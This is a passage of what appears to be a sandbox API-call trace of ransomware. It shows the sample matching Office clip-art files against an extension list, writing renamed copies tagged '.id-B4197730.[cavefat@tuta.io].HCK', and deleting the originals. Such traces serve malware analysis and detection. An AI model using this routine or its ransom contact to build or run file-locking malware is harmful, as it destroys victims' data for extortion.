lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.630] lstrlenW (lpString=".dbf") returned 4 [0179.630] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.630] lstrlenW (lpString=".1cd") returned 4 [0179.630] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 68 [0179.630] lstrlenW (lpString=".jpg") returned 4 [0179.630] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.630] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.630] lstrlenW (lpString="PH01478U.BMP") returned 12 [0179.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.638] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31968) returned 1 [0179.638] CloseHandle (hObject=0x300) returned 1 [0179.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp")) returned 0x220 [0179.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.641] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.641] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.643] GetLastError () returned 0x0 [0179.643] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.646] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.647] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.647] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.647] SetEndOfFile (hFile=0x2fc) returned 1 [0179.653] CloseHandle (hObject=0x2fc) returned 1 [0179.653] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.653] SetEndOfFile (hFile=0x300) returned 1 [0179.656] CloseHandle (hObject=0x300) returned 1 [0179.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp")) returned 1 [0179.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.659] lstrlenW (lpString=".doc") returned 4 [0179.659] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.659] lstrlenW (lpString=".docx") returned 5 [0179.659] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.659] lstrlenW (lpString=".pdf") returned 4 [0179.659] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.659] lstrlenW (lpString=".xls") returned 4 [0179.659] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".xlsx") returned 5 [0179.660] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.660] lstrlenW (lpString=".ppt") returned 4 [0179.660] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".zip") returned 4 [0179.660] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".rar") returned 4 [0179.660] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".bz2") returned 4 [0179.660] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".7z") returned 3 [0179.660] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".dbf") returned 4 [0179.660] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".1cd") returned 4 [0179.660] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".jpg") returned 4 [0179.660] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".doc") returned 4 [0179.660] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".docx") returned 5 [0179.660] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.660] lstrlenW (lpString=".pdf") returned 4 [0179.660] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".xls") returned 4 [0179.660] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".xlsx") returned 5 [0179.660] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.660] lstrlenW (lpString=".ppt") returned 4 [0179.660] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".zip") returned 4 [0179.660] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".rar") returned 4 [0179.660] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".bz2") returned 4 [0179.660] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString=".7z") returned 3 [0179.660] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".dbf") returned 4 [0179.660] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".1cd") returned 4 [0179.660] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 68 [0179.660] lstrlenW (lpString=".jpg") returned 4 [0179.660] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.661] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.661] lstrlenW (lpString="PH02039U.BMP") returned 12 [0179.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.664] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31968) returned 1 [0179.664] CloseHandle (hObject=0x300) returned 1 [0179.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp")) returned 0x220 [0179.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.669] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.669] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.680] GetLastError () returned 0x0 [0179.680] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.682] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.684] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.684] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.684] SetEndOfFile (hFile=0x300) returned 1 [0179.692] CloseHandle (hObject=0x300) returned 1 [0179.693] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.693] SetEndOfFile (hFile=0x39c) returned 1 [0179.696] CloseHandle (hObject=0x39c) returned 1 [0179.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp")) returned 1 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.700] lstrlenW (lpString=".doc") returned 4 [0179.700] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".docx") returned 5 [0179.701] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.701] lstrlenW (lpString=".pdf") returned 4 [0179.701] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".xls") returned 4 [0179.701] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".xlsx") returned 5 [0179.701] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.701] lstrlenW (lpString=".ppt") returned 4 [0179.701] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString=".zip") returned 4 [0179.701] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".rar") returned 4 [0179.701] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".bz2") returned 4 [0179.701] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".7z") returned 3 [0179.701] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString=".dbf") returned 4 [0179.701] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString=".1cd") returned 4 [0179.701] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString=".jpg") returned 4 [0179.701] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.701] lstrlenW (lpString=".doc") returned 4 [0179.701] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".docx") returned 5 [0179.701] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.701] lstrlenW (lpString=".pdf") returned 4 [0179.701] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".xls") returned 4 [0179.701] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.701] lstrlenW (lpString=".xlsx") returned 5 [0179.702] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.702] lstrlenW (lpString=".ppt") returned 4 [0179.702] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.702] lstrlenW (lpString=".zip") returned 4 [0179.702] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.702] lstrlenW (lpString=".rar") returned 4 [0179.702] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.702] lstrlenW (lpString=".bz2") returned 4 [0179.702] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.702] lstrlenW (lpString=".7z") returned 3 [0179.702] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.702] lstrlenW (lpString=".dbf") returned 4 [0179.702] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.702] lstrlenW (lpString=".1cd") returned 4 [0179.702] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.BMP") returned 68 [0179.702] lstrlenW (lpString=".jpg") returned 4 [0179.702] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.702] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.702] lstrlenW (lpString="PH02069J.JPG") returned 12 [0179.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.705] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=29335) returned 1 [0179.705] CloseHandle (hObject=0x2fc) returned 1 [0179.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg")) returned 0x220 [0179.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.711] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.711] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.717] GetLastError () returned 0x0 [0179.717] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7297, lpOverlapped=0x0) returned 1 [0179.719] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x72a0, lpOverlapped=0x0) returned 1 [0179.720] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.721] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.721] SetEndOfFile (hFile=0x368) returned 1 [0179.722] CloseHandle (hObject=0x368) returned 1 [0179.722] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.722] SetEndOfFile (hFile=0x2fc) returned 1 [0179.724] CloseHandle (hObject=0x2fc) returned 1 [0179.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02069j.jpg")) returned 1 [0179.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.728] lstrlenW (lpString=".doc") returned 4 [0179.728] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.728] lstrlenW (lpString=".docx") returned 5 [0179.728] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.728] lstrlenW (lpString=".pdf") returned 4 [0179.728] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.728] lstrlenW (lpString=".xls") returned 4 [0179.728] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.728] lstrlenW (lpString=".xlsx") returned 5 [0179.728] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.728] lstrlenW (lpString=".ppt") returned 4 [0179.728] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.728] lstrlenW (lpString=".zip") returned 4 [0179.728] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.728] lstrlenW (lpString=".rar") returned 4 [0179.728] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.728] lstrlenW (lpString=".bz2") returned 4 [0179.729] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString=".7z") returned 3 [0179.729] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".dbf") returned 4 [0179.729] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".1cd") returned 4 [0179.729] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".jpg") returned 4 [0179.729] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".doc") returned 4 [0179.729] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString=".docx") returned 5 [0179.729] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.729] lstrlenW (lpString=".pdf") returned 4 [0179.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.729] lstrlenW (lpString=".xls") returned 4 [0179.729] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.729] lstrlenW (lpString=".xlsx") returned 5 [0179.729] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.729] lstrlenW (lpString=".ppt") returned 4 [0179.729] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".zip") returned 4 [0179.729] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.729] lstrlenW (lpString=".rar") returned 4 [0179.729] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.729] lstrlenW (lpString=".bz2") returned 4 [0179.729] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.729] lstrlenW (lpString=".7z") returned 3 [0179.729] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.JPG") returned 68 [0179.729] lstrlenW (lpString=".dbf") returned 4 [0179.729] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 